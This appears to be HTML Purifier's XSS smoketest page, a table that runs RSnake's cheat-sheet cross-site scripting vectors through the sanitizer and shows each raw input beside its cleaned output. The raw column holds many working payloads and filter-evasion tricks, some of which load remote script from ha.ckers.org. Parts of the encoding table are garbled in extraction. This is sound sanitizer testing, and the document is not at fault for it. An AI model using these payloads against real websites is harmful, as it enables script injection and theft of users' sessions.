


## HTML Purifier XSS Attacks Smoketest

XSS attacks are from <http://ha.ckers.org/xss.html>.

**Caveats:** Google.com has been programatically disallowed, but as you can see, there are ways of getting around that, so coverage in this area is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. The displayed code is not strictly correct, as linebreaks have been forced for readability. Linewraps have been marked with ». Some tests are omitted for your convenience. Not all control characters are displayed.


## Test

Name	Raw	Output	Render
XSS Locator	' ;alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))//<SCRIPT>">'<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{ }	' ;alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//<SCRIPT>">'<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{ }	' ;alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//<SCRIPT>">'<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{ }
XSS Quick Test	' ';!--"<XSS>=&{() }	' ';!--"=&amp;{() }	";!--"=&{() }
SCRIPT w/Alert()	<SCRIPT>alert('XSS')</SCRIPT>		
SCRIPT w/Source File	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>		
SCRIPT w/CharCode	<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>		
BASE	<BASE HREF="javascript:alert('XSS');">		
BGSOUND	<BGSOUND SRC="javascript:alert('XSS');">		
BODY background-image	<BODY BACKGROUND="javascript:alert('XSS');">		
BODY ONLOAD	<BODY ONLOAD=alert('XSS')>		
DIV background-image 1	<DIV STYLE="background-image:url(javascript:alert('XSS'))">	<div></div>	

Name	Raw	Output	Render
DIV background-image 2	<DIV » STYLE="background-image: » url(&#1;javascript:alert('XS » S'))">	<div></div>	
DIV expression	<DIV STYLE="width: » expression(alert('XSS'));">	<div></div>	
FRAME	<FRAMESET><FRAME » SRC="javascript:alert('XSS') » ;"></FRAMESET>		
IFRAME	<IFRAME » SRC="javascript:alert('XSS') » ;"></IFRAME>		
INPUT Image	<INPUT TYPE="IMAGE" » SRC="javascript:alert('XSS') » ;">		
IMG w/JavaScript Directive	<IMG » SRC="javascript:alert('XSS') » ;">		
IMG No Quotes/Semicolon	<IMG » SRC=javascript:alert('XSS')>		
IMG Dynsrc	<IMG » DYNsrc="javascript:alert('XS » S');">		
IMG Lowsrc	<IMG » LOWsrc="javascript:alert('XS » S');">		
IMG Embedded commands 1	<IMG » SRC="http://www.thesiteyouar » eon.com/somecommand.php?some » variables=maliciouscode">	<img » src="http://www.thesiteyouar » eon.com/somecommand.php?some » variables=maliciouscode" » alt="somecommand.php?somevar » iables=maliciouscode" />	 somecommand.php?somevariables=maliciouscode
IMG STYLE w/expression	exp/*<XSS » STYLE='no\xss:noxss("*/**"); » xss:&#101;x&#x2F;*XSS*/** » /pression(alert("XSS"))'>	exp/*	exp/*
List-style-image	<STYLE>li {list-style-image: » url("javascript:alert('XSS') » ");}</STYLE><UL><LI>XSS	<ul><li>XSS</li></ul>	<ul style="list-style-type: none"> <li>XSS</li> </ul>

Name	Raw	Output	Render
IMG w/VBscript	<IMG » SRC='vbscript:msgbox("XSS")' » >		
LAYER	<LAYER » SRC="http://ha.ckers.org/scr » iptlet.html"></LAYER>		
Livescript	<IMG » SRC="livescript:[code]">		
US-ASCII encoding	scriptalert(XSS)/script »	scriptalert(XSS)/script	scriptalert(XSS)/script
META	<META HTTP-EQUIV="refresh" » CONTENT="0;url=javascript:al » ert('XSS');">		
META w/data:URL	<META HTTP-EQUIV="refresh" » CONTENT="0;url=data:text/htm » l;base64,PHNjcmlwdD5hbGVydCg » nWFNTJyk8L3NjcmlwdD4K">		
META w/additional URL parameter	<META HTTP-EQUIV="refresh" » CONTENT="0; » URL=http://;URL=javascript:a » lert('XSS');">		
Mocha	<IMG SRC="mocha:[code]">		
OBJECT	<OBJECT » TYPE="text/x-scriptlet" » DATA="http://ha.ckers.org/sc » riptlet.html"></OBJECT>		
OBJECT w/Embedded XSS	<OBJECT » classid=clsid:ae24fdae-03c6- » 11d1-8b76-0080c744f389><para » m name=url » value=javascript:alert('XSS' » )></OBJECT>		
Embed Flash	<EMBED » SRC="http://ha.ckers.org/xss » .swf" » AllowScriptAccess="always">< » /EMBED>		
STYLE	<STYLE » TYPE="text/javascript">alert » ('XSS');</STYLE>		

Name	Raw	Output	Render
STYLE w/Comment	<IMG » STYLE="xss:expr/*XSS*/ession » (alert('XSS'))">		
STYLE w/Anonymous HTML	<XSS » STYLE="xss:expression(alert( » 'XSS'))">		
STYLE w/background- image	<STYLE>.XSS{background-image » :url("javascript:alert('XSS' » );};</STYLE><A » CLASS=XSS></A>	<a class="XSS"></a>	
STYLE w/background	<STYLE » type="text/css">BODY{backgro » und:url("javascript:alert('X » SS'))}</STYLE>		
Stylesheet	<LINK REL="stylesheet" » HREF="javascript:alert('XSS' » );">		
Remote Stylesheet 1	<LINK REL="stylesheet" » HREF="http://ha.ckers.org/xs » s.css">		
Remote Stylesheet 2	<STYLE>@import'http://ha.cke » rs.org/xss.css';</STYLE>		
Remote Stylesheet 3	<META HTTP-EQUIV="Link" » Content="<http://ha.ckers.or » g/xss.css>; REL=stylesheet">		
Remote Stylesheet 4	<STYLE>BODY{-moz-binding:url » ("http://ha.ckers.org/xssmoz » .xml#xss")}</STYLE>		
TABLE	<TABLE » BACKGROUND="javascript:alert » ('XSS')"></TABLE>		
TD	<TABLE><TD » BACKGROUND="javascript:alert » ('XSS')"></TD></TABLE>		

Name	Raw	Output	Render
XML namespace	<pre>&lt;HTML xmlns:xss&gt; &lt;?import namespace="xss" implementation="http://ha.ck ers.org/xss.htc"&gt; &lt;xss:xss&gt;X SS&lt;/xss:xss&gt;  &lt;/HTML&gt;</pre>	<pre>&amp;lt;?import namespace="xss" implementation="http://ha.ck ers.org/xss.htc"&amp;gt; XSS</pre>	<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> XSS
XML data island w/CDATA	<pre>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC="javas]]&gt;&lt;![CDATA[cript: alert('XSS');"&gt;]]&gt;  &lt;/C&gt;&lt;/X&gt; &lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</pre>	<pre>&amp;lt;IMG SRC="javascript:alert('XSS') ;"&amp;gt;  &lt;span&gt;&lt;/span&gt;</pre>	<IMG SRC="javascript:alert('XSS');">
XML data island w/comment	<pre>&lt;XML ID="xss"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC="javas&lt;!-- --&gt;cript:alert('XSS')"&gt;&lt;/B&gt;&lt; /I&gt;&lt;/XML&gt;  &lt;SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"&gt;&lt;/SPAN&gt;</pre>	<pre>&lt;i&gt;&lt;b&gt;&lt;img src="javas" alt="javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')" /&gt;&lt;/b&gt;&lt;/i&gt;&lt;span&gt;&lt;/span&gt;</pre>	 javas<!-- -->cript:alert('XSS')
XML (locally hosted)	<pre>&lt;XML SRC="http://ha.ckers.org/xss test.xml" ID=I&gt;&lt;/XML&gt; &lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</pre>	<pre>&lt;span&gt;&lt;/span&gt;</pre>	
XML HTML+TIME	<pre>&lt;HTML&gt;&lt;BODY&gt; &lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-co m:time"&gt;  &lt;?import namespace="t" implementation="#default#tim e2"&gt; &lt;t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert('XSS')&lt;/SCRIPT&gt;" &gt; &lt;/BODY&gt;&lt;/HTML&gt;</pre>	<pre>&amp;lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-co m:time"&amp;gt;  &amp;lt;?import namespace="t" implementation="#default#tim e2"&amp;gt;</pre>	<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2">
Commented-out Block	<pre>&lt;!--[if gte IE 4]&gt; &lt;SCRIPT&gt;alert('XSS');&lt;/S CRIPT&gt; &lt;![endif]&lt;!--&gt;</pre>		






[illegible]

Name	Raw	Output	Render
	&#x003c; »	&lt;	
		&lt;	
		&lt;	
	&#x0003c;	&lt;	
	&#x00003c;	&lt;	
	&#x000 »	&l »	
	003c;	t;	
	&#X3c	&lt;	
	&#X03c	&lt;	
	&#X003c	&lt;	
	& »	&lt;	
	#X0003c	&lt;	
	&#X00003c	»	
	&#X000003c »	&lt;	
		&lt;	
	&#X3c;	&lt;	
	&#X03c;	&lt;	
	&#X003c;	&lt;	
	&#X »	&lt; »	
	0003c;	;	
	&#X00003c;		
	&#X000003c »	&lt;	
	;	&lt;	
	&#x3C	&lt;	
		&lt;	
	&#x03C	&lt;	
	&#x003C	»	
	&#x0 »	&lt;	
	003C	&lt;	
	&#x00003C	&lt;	
	&#x000003C	&lt;	
	&# »	&lt;	
	x3C;	&lt; »	
	&#x03C;	;	
	&#x003C;	&lt;	
	&#x000 »	&lt;	
	3C;	&lt;	
	&#x00003C;	&lt;	
	&#x000003C;	&lt;	
	& »	& »	
	#X3C	lt;	
	&#X03C		
	&#X003C	&lt;	
	&#X0003C »	&lt;	
		&lt;	
	&#X00003C	&lt;	
	&#X000003C	&lt; »	
		;	
	&#X3C »	&lt;	
	;	\x3c	
	&#X03C;	\x3c	
	&#X003C;	\u003c	
	&#X0003C; »	\u00 »	
		3C	
	&#X00003C;		
	&#X000003C;		
	\x3c »		
	\x3C		
	\u003c		
	\u003C		

Case Insensitive <IMG »  
SRC=JaVaScRiPt:alert('XSS')>

Name	Raw	Output	Render
HTML Entities	<IMG » SRC=javascript:alert(&quot;X » SS&quot;);>		
Grave Accents	<IMG » SRC=` javascript:alert("RSnak » e says, 'XSS'")`>	<img » src="%60javascript%3Aalert(" » alt=` javascript:alert(&quot; » ;RSnake" />	
Image w/CharCode	<IMG » SRC=javascript:alert(String. » fromCharCode(88,83,83))>		
UTF-8 Unicode Encoding	<IMG » SRC=&#106;&#97;&#118;&#97;&# » 115;&#99;&#114;&#105;&#112;& » #116;&#58;&#97;&#108;&#101;& » #114;&#116;&#40;&#39;&#88;&# » 83;&#83;&#39;&#41;>		
Long UTF-8 Unicode w/out Semicolons	<IMG » SRC=&#0000106&#0000097&#0000 » 118&#0000097&#0000115&#0000 » 99&#0000114&#0000105&#000011 » 2&#0000116&#0000058&#0000097 » &#0000108&#0000101&#0000114& » #0000116&#0000040&#0000039&# » 0000088&#0000083&#0000083&#0 » 000039&#0000041>		
DIV w/Unicode	<DIV » STYLE="background-image:\007 » 5\0072\006C\0028'\006a\0061\ » 0076\0061\0073\0063\0072\006 » 9\0070\0074\003a\0061\006c\0 » 065\0072\0074\0028.1027\0058 » .1053\0053\0027\0029'\0029">	<div></div>	
Hex Encoding w/out Semicolons	<IMG » SRC=&#x6A&#x61&#x76&#x61&#x7 » 3&#x63&#x72&#x69&#x70&#x74&# » x3A&#x61&#x6C&#x65&#x72&#x74 » &#x28&#x27&#x58&#x53&#x53&#x » 27&#x29>		
UTF-7 Encoding	<HEAD><META » HTTP-EQUIV="CONTENT-TYPE" » CONTENT="text/html; » charset=UTF-7"> » </HEAD>+ADw-SCRIPT+AD4-alert » ('XSS');+ADw-/SCRIPT+AD4-	+ADw-SCRIPT+AD4-alert('XSS') » ;+ADw-/SCRIPT+AD4- » +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-	
Escaping JavaScript escapes	\";alert('XSS');//	\";alert('XSS');//	\";alert('XSS');//



Name	Raw	Output	Render
End title tag	</TITLE><SCRIPT>alert("XSS") » ;</SCRIPT>		
STYLE w/broken up JavaScript	<STYLE>@im\port'\ja\vasc\rip » t:alert("XSS");</STYLE>		
Embedded Tab	<IMG » SRC="jav\tascript:alert('XSS' » );">	<img » src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />	
Embedded Encoded Tab	<IMG » SRC="jav&#x09;ascript:alert( » 'XSS');">	<img » src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />	
Embedded Newline	<IMG » SRC="jav&#x0A;ascript:alert( » 'XSS');">	<img » src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />	
Embedded Carriage Return	<IMG » SRC="jav&#x0D;ascript:alert( » 'XSS');">	<img » src="jav%20ascript%3Aalert(' » XSS');" alt="jav » ascript:alert('XSS');" />	
Multiline w/Carriage Returns	<IMG SRC = " j a v a s c r i p t : a l e r t ( , X S S ' ) " >	<img » src="j%20a%20v%20a%20s%20c%2 » 0r%20i%20p%20t%20%3A%20a%20l » %20e%20r%20t%20(%20'%20X%20S » %20S%20'%20)" alt="j a v a s » c r i p t : a l e r t ( ' X » S S ' )" />	

Name	Raw	Output	Render
Null Chars 1	<IMG » SRC=java\0script:alert("XSS") » >		
Null Chars 2	&<SCR\0IPT>alert("XSS")</SCR\0 » &amp; IPT>	&	
Spaces/Meta Chars	<IMG SRC=" &#14; » javascript:alert('XSS');">	<img src="" alt="" />	
Non-Alpha/Non-Digit	<SCRIPT/XSS » SRC="http://ha.ckers.org/xss » .js"></SCRIPT>		
Non-Alpha/Non-Digit Part 2	<BODY » onload!#\$%&()*~+-_.,:;?@[/ \ » ]^`=alert("XSS")>		
No Closing Script Tag	<SCRIPT » SRC=http://ha.ckers.org/xss. » js		
Protocol resolution in script tags	<SCRIPT » SRC=//ha.ckers.org/.j>		
Half-Open HTML/JavaScript	<IMG » SRC="javascript:alert('XSS') » "		
Double open angle brackets	<IFRAME » SRC=http://ha.ckers.org/scri » ptlet.html <		
Extraneous Open Brackets	<<SCRIPT>alert("XSS");//<</S » CRIPT>	&lt;	
Malformed IMG Tags	<IMG » ""><SCRIPT>alert("XSS")</SC » RIPT>">	"&gt;	">
No Quotes/Semicolons	<SCRIPT>a=/XSS/ alert(a.sour » ce)</SCRIPT>		
Evade Regex Filter 1	<SCRIPT a="> » SRC="http://ha.ckers.org/xss » .js"></SCRIPT>		
Evade Regex Filter 2	<SCRIPT ="blah" » SRC="http://ha.ckers.org/xss » .js"></SCRIPT>		

Name	Raw	Output	Render
Evade Regex Filter 3	<SCRIPT a="blah" ' ' > SRC="http://ha.ckers.org/xss > .js"></SCRIPT>		
Evade Regex Filter 4	<SCRIPT "a='>' "> SRC="http://ha.ckers.org/xss > .js"></SCRIPT>		
Evade Regex Filter 5	<SCRIPT a='>' > SRC="http://ha.ckers.org/xss > .js"></SCRIPT>		
Filter Evasion 1	<SCRIPT>document.write("<SCR I");</SCRIPT>PT > SRC="http://ha.ckers.org/xss > .js"></SCRIPT>	PT > SRC="http://ha.ckers.org/xss > PT SRC="http://ha.ckers.org/xss.js"> .js">	
Filter Evasion 2	<SCRIPT a=">'>" > SRC="http://ha.ckers.org/xss > .js"></SCRIPT>		
IP Encoding	<A > HREF="http://66.102.7.147/"> > XSS</A>	<a > href="http://66.102.7.147/"> > XSS</a>	<a href="http://66.102.7.147/">XSS</a>
URL Encoding	<A > HREF="http://%77%77%77%2E%67 %6F%6F%67%6C%65%2E%63%6F%6D" >XSS</A>	<a>XSS</a>	XSS
Dword Encoding	<A > HREF="http://1113982867/">XS S</A>	<a > href="http://1113982867/">XS S</a>	<a href="http://1113982867/">XSS</a>
Hex Encoding	<A > HREF="http://0x42.0x0000066. 0x7.0x93/">XSS</A>	<a > href="http://0x42.0x0000066. 0x7.0x93/">XSS</a>	<a href="http://0x42.0x0000066.0x7.0x93/">XSS</a>
Octal Encoding	<A > HREF="http://0102.0146.0007. 00000223/">XSS</A>	<a > href="http://0102.0146.0007. 00000223/">XSS</a>	<a href="http://0102.0146.0007.00000223/">XSS</a>
Mixed Encoding	<A > HREF="h tt\tp://6&#09;6.00014 > 6.0x7.147/">XSS</A>	<a > href="h%20tt%20p%3A//6%206.0 00146.0x7.147/">XSS</a>	<a href="http://6&amp;#09;6.000146.0x7.147/">XSS</a>
Protocol Resolution Bypass	<A > HREF="//www.google.com/">XSS </A>	<a>XSS</a>	XSS
Firefox Lookups 1	<A HREF="//google">XSS</A>	<a href="//google">XSS</a>	<a href="//google">XSS</a>

Name	Raw	Output	Render
Firefox Lookups 2	<A » HREF="http://ha.ckers.org@go » ogle">XSS</A>	<a » href="http://google">XSS</a>	<a href="#">XSS</a>
Firefox Lookups 3	<A » HREF="http://google:ha.ckers » .org">XSS</A>	<a » href="http://google">XSS</a>	<a href="#">XSS</a>
Removing Cnames	<A » HREF="http://google.com/">XS » S</A>	<a>XSS</a>	XSS
Extra dot for Absolute DNS	<A » HREF="http://www.google.com. » /">XSS</A>	<a>XSS</a>	XSS
JavaScript Link Location	<A » HREF="javascript:document.lo » cation='http://www.google.co » m/'">XSS</A>	<a>XSS</a>	XSS
Content Replace	<A » HREF="http://www.gohttp://ww » w.google.com/ogle.com/">XSS< » /A>	<a » href="http://www.gohttp://www » .google.com/ogle.com/">XSS</ » a>	<a href="#">XSS</a>